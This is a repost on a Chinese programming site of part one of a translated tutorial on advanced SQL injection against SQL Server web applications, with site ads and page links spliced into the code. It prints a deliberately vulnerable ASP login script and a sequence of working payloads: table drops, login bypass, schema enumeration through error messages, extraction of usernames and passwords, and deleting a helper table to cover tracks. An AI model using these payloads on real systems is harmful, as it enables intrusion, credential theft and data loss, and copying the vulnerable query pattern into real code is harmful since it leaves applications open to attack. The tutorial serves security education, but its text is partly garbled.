程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server應用程序高級SQL注入(上)

SQL Server應用程序高級SQL注入(上)

編輯:關於SqlServer

介紹

SQL是一種用於關系數據庫的結構化查詢語言。它分為許多種,但大多數都松散地基於美國國家標准化組織最新的標准SQL-92。典型的執行語句是query,它能夠收集比較有達標性的記錄並返回一個單一的結果集。SQL語言可以修改數據庫結構(數據定義語言)和操作數據庫內容(數據操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。

當一個攻擊者能夠通過往query中插入一系列的sql語句來操作數據寫入到應用程序中去,我們管這種方法定義成SQL注入。

一個典型的SQL語句如下:

 


Select id,forename,surname from authors

這條語句將返回authors表中所有行的id,forename和surname列。這個結果可以被限制,例如:

 


Select id,forename,surname from authors where forename''john'' and surname=''smith''

需要著重指明的是字符串''john''和''smith''被單引號限制。明確的說,forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過輸入值來往這個查詢中注入一些SQL語句,

如下:

 


Forename:jo''hn Surname:smith

查詢語句變為:

 


Select id,forename,surname from authors where forename=''jo''hn'' and surname=''smith''

當數據庫試圖去執行這個查詢時,它將返回如下錯誤:

 


Server:Msg 170, Level 15, State 1, Line 1 Line 1:Incorrect syntax near ''hn''

造成這種結果的原因是插入了.作為定界符的單引號。數據庫嘗試去執行''hn'',但是失敗。如果攻擊者提供特別的輸入如:

 


Forename:jo'';drop table authors— Surname:

結果是authors表被刪除,造成這種結果的原因我們稍後再講。看上去好象通過從輸入中去掉單引號或者通過某些方法避免它們都可以解決這個問題。這是可行的,但是用這種方法做解決方法會存在幾個困難。第一,並不是所有用戶提供的數據都是字符串。如果用戶輸入的是通過用戶id來查詢author,那我們的查詢應該像這樣:

 


Select id,forename,surname from authors where id=1234

在這種情況下,一個攻擊者可以非常簡單地在數字的結尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號;在數據庫管理系統JET引擎中,數據可以被使用''#''限定。第二,避免單引號盡管看上去可以,但是是沒必要的,原因我們稍後再講。

我們更進一步地使用一個簡單的ASP登陸頁面來指出哪些能進入SQLSERVER數據庫並且嘗試鑒別進入一些虛構的應用程序的權限。

這是一個提交表單頁的代碼,讓用戶輸入用戶名和密碼: 以下為引用的內容:

 


<Html> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor=''000000'' text=''cccccc''> <FONT F歡迎光臨學網,收藏本篇文章 [1]  [2] [3] [4] [5] [6]

$False$

ace=''tahoma'' color=''cccccc''> <CENTER><H1>Login</H1> <FORM action=''process_loginasp'' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=passWord size=100 withd=100></TD></TR> </TABLE> <INPUT type=submit value=''Submit''><INPUT type=reset value=''Reset''> </FORM> </Font> </BODY> </HTML> 下面是process_login.ASP的代碼,它是用來控制登陸的: 以下為引用的內容:<HTML> <BODY bgcolor=''000000'' text=''ffffff''> <FONT Face=''tahoma'' color=''ffffff''> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = ''" + username + "'' and password = ''" + passWord + "''"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %> <FONT Face=''tahoma'' color=''cc0000''> <H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> <FONT Face=''tahoma'' color=''00cc00''> <H1> <CENTER>Access GRANTED<BR> <BR> Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></Html>" ); Response.end } } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "passWord" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %>

出現問題的地方是process_lgin.ASP中產生查詢語句的部分:

 


Var sql="select * from users where username=''

"+username+"'' and password=''"+passWord+"''";

如果用戶輸入的信息如下:

 


Username:'';drop table users— PassWord:

數據庫中表users將被刪除,拒絕任何用戶進入應用程序。''—''符號在Transact-SQL中表示忽略''—''以後的語句,'';''符號表示一個查詢的結束和另一個查詢的開始。''—''位於username字段中是必須的,它為了使這個特殊的查詢終止,並且不返回錯誤。

攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:

Username:admin''—

攻擊者可以使用users表中第一個用戶,輸入如下:

Username:'' or 1=1—

更特別地,攻擊者可以使用完全虛構的用戶登陸,輸入如下:

Username:'' union select 1,''fictional_user'',''some_passWord'',1—

這種結果的原因是應用程序相信攻擊者指定的是從數據庫中返回結果的一部分。

通過錯誤消息獲得信息

這個幾乎是David LitchfIEld首先發現的,並且通過作者滲透測試的;後來David寫了一份文檔,後來作者參考了這份文檔。這些解釋討論了‘錯誤消息‘潛在的機制,使讀者能夠完全地了解它,潛在地引發他們的能力。

為了操作數據庫中的數據,攻擊者必須確定某些數據庫和某些表的結構。例如我們可以使用如下語句創建user表:

以下為引用的內容:

 


Create talbe users( Id int, Username varchar(255), PassWord varchar(255), Privs int )

然後將下面的用戶插入到users表中:

以下為引用的內容:

 


Insert into users values(0,''admin'',''r00tr0x!'',0xffff) Insert into users values(0,''guest'',''guest'',0x0000) Insert into users values(0,''chris'',''passWord'',0x00ff) Insert into users values(0,''fred'',''sesame'',0x00ff)

如果我們的攻擊者想插入一個自己的用戶。在不知道users表結構的情況下,他不可能成功。即使他比較幸運,至於privs字段不清楚。攻擊者可能插入一個''1'',這樣只給他自己一個低權限的用戶。幸運地,如果從應用程序(默認為ASP行為)返回錯誤消息,那麼攻擊者可以確定整個數據庫的結構,並且可以以程序中連接SQLSERVER的權限度曲任何值。 (下面以一個簡單的數據庫和ASP腳本來舉例說明他們是怎麼工作的)

首先,攻擊者想獲得建立用戶的表的名字和字段的名字,要做這些,攻擊者需要使用select語法的having子句:

Username:'' having 1=1—

這樣將會出現如下錯誤:

 


Microsoft OLE DB Provider for ODBC Drivers error ''80040e14'' [Microsoft][ODBC SQL Server Drive歡迎光臨學網,收藏本篇文章 [1] [2] [3]  [4] [5] [6]

r][SQL Server]Column ''users.id'' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.ASP, line 35

因此現在攻擊者知道了表的名字和第一個地段的名字。他們仍然可以通過把字段放到group by子句只能感去找到一個一個字段名,如下:

 


Username:'' group by users.id having 1=1—

出現的錯誤如下:

 


Microsoft OLE DB Provider for ODBC Drivers error ''80040e14'' [Microsoft][ODBC SQL Server Driver][SQL Server]Column ''users.username'' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.ASP, line 35

最終攻擊者得到了username字段後:

 


‘ group by users.id,users.username,users.passWord,users.privs having 1=1—

這句話並不產生錯誤,相當於:

 


select * from users where username=''''

因此攻擊者現在知道查詢涉及users表,按順序使用列''id,username,passWord,privs''。 能夠確定每個列的類型是非常有用的。這可以通過使用類型轉化來實現,例如:

 


Username:'' union select sum(username) from users—

這利用了SQLSERVER在確定兩個結果集的字段是否相等前應用sum子句。嘗試去計算sum會得到以下消息:

 


Microsoft OLE DB Provider for ODBC Drivers error ''80040e07'' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate Operation cannot take a varchar data type as an argument. /process_login.ASP, line 35

這告訴了我們''username''字段的類型是varchar。如果是另一種情況,我們嘗試去計算sum()的是數字類型,我們得到的錯誤消息告訴我們兩個集合的字段數量不相等。

 


Username:'' union select sum(id) from users— Microsoft OLE DB Provider for ODBC Drivers error ''80040e14'' [Microsoft][ODBC SQL Server Driver][SQL Server]All querIEs in an SQL statement containing a UNION Operator must have an equal number of expressions in their target lists. /process_login.ASP, line 35

我們可以用這種技術近似地確定數據庫中任何表中的任何字段的類型。 這樣攻擊者就可以寫一個好的insert查詢,例如:

 


Username:'';insert into users values(666,''attacker'',''foobar'',''0xffff)—

這種技術的潛在影響不僅僅是這些。攻擊者可以利用這些錯誤消息顯示環境信息或數據庫。通過運行一列一定格式的字符串可以獲得標准的錯誤消息:

 


select * from master ..sysmessages

解釋這些將實現有趣的消息。一個特別有用的消息關系到類型轉化。如果你嘗試將一個字符串轉化成一個整型數字,那麼字符串的所有內容會返回到錯誤消息中。例如在我們簡單的登陸頁面中,在username後面會顯示出SQLSERVER的版本和所運行的操作系統信息:

 


Username:'' union select version,1,1,1— Microsoft OLE DB Provider for ODBC Drivers error ''80040e07'' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ''Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) '' to a column of data type int. /process_login.ASP, line 35

這句嘗試去將內置的''version''常量轉化成一個整型數字,因為users表中的第一列是整型數字。這種技術可以用來讀取數據庫中任何表的任何值。自從攻擊者對用戶名和用戶密碼比較感興趣後,他們比較喜歡去從users表中讀取用戶名,例如:

 


Username:'' union select min(username),1,1,1 from users where username>''a''—

這句選擇users表中username大於''a''中的最小值,並試圖把它轉化成一個整型數字:

 


Microsoft OLE DB Provider for ODBC Drivers error ''80040e07'' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ''admin'' to a column of data type int. /process_login.ASP, line 35

因此攻擊者已經知道用戶admin是存在的。這樣他就可以重復通過使用where子句和查詢到的用戶名去尋找下一個用戶。

 


Username:'' union select min(username),1,1,1 from users where username>''admin''— Microsoft OLE DB Provider for ODBC Drivers error ''80040e07'' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ''chris'' to a column of data type int. /process_login.ASP, line 35

一旦攻擊者確定了用戶名,他就可以開始收集密碼:

 


Username:'' union select passWord,1,1,1 from users where username=''admin''— Microsoft OLE DB Provider for ODBC Drivers error ''80040e07'' [Microsoft][ODBC SQL Serve歡迎光臨學網,收藏本篇文章 [1] [2] [3] [4] [5] [6] 

r Driver][SQL Server]Syntax error converting the varchar value ''r00tr0x!'' to a column of data type int. /process_login.ASP, line 35

一個更高級的技術是將所有用戶名和密碼連接長一個單獨的字符串,然後嘗試把它轉化成整型數字。這個例子指出:Transavt-SQL語法能夠在不改變相同的行的意思的情況下把它們連接起來。下面的腳本將把值連接起來:

 


begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+username+''/''+passWord from users where username>@ret select @ret as ret into foo end

攻擊者使用這個當作用戶名登陸(都在一行)

 


Username: ''''; begin declare @ret varchar(8000) set @ret='''':'''' select @ret=@ret+'''' ''''+username+''''/''''+passWord from users where username>@ret select @ret as ret into foo end—

這就創建了一個foo表,裡面只有一個單獨的列''''ret'''',裡面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個低權限的用戶能夠在同一個數據庫中創建表,或者創建臨時數據庫。然後攻擊者就可以取得我們要得到的字符串:

 


Username:'''' union select ret,1,1,1 from foo— Microsoft OLE DB Provider for ODBC Drivers error ''''80040e07'''' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '''': admin/r00tr0x! guest/guest chris/passWord fred/sesame'''' to a column of data type int. /process_login.ASP, line 35

然後丟棄(刪除)表來清楚腳印:

Username:''''; drop table foo—

這個例子僅僅是這種技術的一個表面的作用。沒必要說,如果攻擊者能夠從數據庫中獲得足夠的錯誤西,他們的工作就變的無限簡單。

 
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved